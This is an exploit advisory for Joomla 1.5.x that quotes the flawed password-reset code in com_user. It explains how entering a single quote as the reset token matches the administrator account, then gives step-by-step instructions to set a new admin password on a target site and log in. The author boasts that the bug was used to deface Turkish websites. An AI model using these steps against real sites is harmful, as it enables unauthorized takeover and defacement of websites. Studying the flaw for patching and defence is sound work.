Joomla 1.5.x Remote Admin Password Chang

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#### Joomla 1.5.x Remote Admin Password Change ####
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# #
# Author: d3m0n (d3m0n@o2.pl) #
# Greets: GregStar, gorion, d3d!k #
# #
# Polish "hackers" used this bug to deface turkish sites BUAHAHHA nice 0-day pff #
# #
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File : /components/com_user/controller.php

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Line : 379-399

function confirmreset()
{
// Check for request forgeries
JRequest::checkToken() or die( 'Invalid Token' );

// Get the input
$token = JRequest::getVar('token', null, 'post', 'alnum'); < --- {1}

// Get the model
$model = &$this->getModel('Reset');

// Verify the token
if ($model->confirmReset($token) === false) < --- {2}
{
$message = JText::sprintf('PASSWORD_RESET_CONFIRMATION_FAILED', $model->getError());
$this->setRedirect('index.php?option=com_user&view=reset&layout=confirm', $message);
return false;
}

$this->setRedirect('index.php?option=com_user&view=reset&layout=complete');
}

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File : /components/com_user/models/reset.php

Line: 111-130



function confirmReset($token)
{
global $mainframe;

$db = &JFactory::getDBO();
$db->setQuery('SELECT id FROM #__users WHERE block = 0 AND activation = '.$db->Quote($token)); < ---- {3}

// Verify the token
if (!($id = $db->loadResult()))
{
$this->setError(JText::_('INVALID_TOKEN'));
return false;
}

// Push the token and user id into the session
$mainframe->setUserState($this->_namespace.'token', $token);
$mainframe->setUserState($this->_namespace.'id', $id);

return true;
}
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{1} - Replace ' with empty char
{3} - If you enter ' in token field then query will be looks like : "SELECT id FROM jos_users WHERE block = 0 AND activation = '' "


Example :


1. Go to url : target.com/index.php?option=com_user&view=reset&layout=confirm

2. Write into field "token" char ' and Click OK.

3. Write new password for admin

4. Go to url : target.com/administrator/

5. Login admin with new password

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